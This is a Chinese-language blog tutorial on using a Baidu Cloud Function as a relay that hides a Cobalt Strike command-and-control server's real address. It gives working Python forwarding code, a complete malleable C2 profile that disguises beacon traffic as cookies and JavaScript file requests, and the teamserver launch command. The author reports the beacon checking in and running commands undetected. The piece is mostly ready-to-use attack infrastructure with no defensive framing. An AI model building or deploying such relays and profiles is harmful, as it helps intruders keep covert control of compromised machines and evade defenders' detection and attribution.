基于baidu的云函数实现隐藏c2真实地址
参考
云函数利用&Profile混淆
可能是大家都用的腾讯云搞得现在腾讯云下架那个api网关了。。。所以只能找其他的云函数使用
在网上只找到了一片不是腾讯云的云函数,使用的是百度云函数,那么也尝试的使用一下百度云函数。
百度云:函数计算CFC_无服务器计算-百度智能云
配置云函数
老样子直接搜云函数然后点击立即体验
进入控制台后立即开通云函数
开通后就可以点击这个创建函数了
选择空模版
使用python3.6
触发器填这个匹配所有的内容,这里我看参看文章写的{path+}我开始没有成功我不知道他写的对不对反正最后我改为这个我成功了。
提交后点击进入代码编辑页
示例代码
# -*- coding: utf-8 -*-
# def handler(event, context):
# return "Hello World"
import json,requests,base64
def handler(event, context):
C2='https://xxxx:443'# 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
#return event
return response
输入完直接下面的保存即可
然后到触发器可以找到生成好的云函数
修改profile
接下里是修改profile文件就用那些开源的然后替换一下下面这几个get、post、stager,只有profile修改为这种格式才可以和前面的python代码相匹配,其实主要是内容需要base64编码进行传输,其他的请求头可以随便修改。
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
cs启动
然后cs启动的时候和这个profile一起启动。
./teamserver ip 密码 baiducloud.profile
接下里cs新建监听
上面两个都是域名,要是直接复制记得要把https://和端口号给删除,然后就是端口要对应上
成功上线并且可以执行命令
抓包可以看到是北京的什么地址,不是我的c2真实地址,非常丝滑。
其实百度云还不错,这个东西也很便宜测试花了我2分钱,挺好。